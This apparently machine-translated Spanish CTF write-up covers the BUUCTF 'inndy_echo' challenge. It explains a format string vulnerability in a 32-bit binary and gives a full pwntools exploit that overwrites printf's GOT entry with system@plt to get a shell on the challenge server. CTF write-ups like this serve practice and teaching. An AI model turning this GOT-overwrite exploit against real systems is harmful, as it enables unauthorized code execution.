[BUUCTF] PWN —— inndy_echo (fmt de 32 bits para modificar la tabla obtenida)

inndy_echo

anexo

paso

  1. Inspección de rutina, programa de 32 bits, la protección nx está activada
    Inserte la descripción de la imagen aquí

  2. Pruebe una ejecución de prueba local para ver la situación general. He visto que hay vulnerabilidades de cadenas de formato y cuáles se pueden ingresar todo el tiempo.
    Inserte la descripción de la imagen aquí

  3. Se cargó ida de 32 bits y
    Inserte la descripción de la imagen aquí
    vi que había una vulnerabilidad de cadena de formato en el programa, y ​​había una función del sistema. Pensé en cambiar printf @ got a system @ plt. Dado que el sistema no se ejecutó al principio, la dirección en la tabla obtenida era incorrecta. Tienes que usar la tabla plt en el interior. Luego pase a bin / sh

  4. pwntools integra una poderosa herramienta a través de la cual podemos modificar rápidamente el valor correspondiente.
    Formato de comando: fmtstr_payload(argue_place, {printf_got_addr: system_plt_addr})
    Argue_place representa la posición del parámetro de los primeros cuatro caracteres en la carga útil (es decir, el valor de p en% p $ n, lo llamamos Offset )

  5. Después de aclarar la idea, primero determine el desplazamiento, determine que el desplazamiento es 7, de
    Inserte la descripción de la imagen aquí
    modo que pueda usar directamente fmtstr_payload (7, {print_got: system_plt}) para completar la modificación, y luego pasar el parámetro '/ bin / sh'

Exp completa

from pwn import *

r=remote('node3.buuoj.cn',27843)
elf=ELF('./echo')

printf_got=elf.got['printf']
system_plt=elf.plt['system']

payload=fmtstr_payload(7,{
    
    printf_got:system_plt})

r.sendline(payload)
r.sendline('/bin/sh')
r.interactive()

Supongo que te gusta

Origin blog.csdn.net/mcmuyanga/article/details/113509240
Recomendado
Clasificación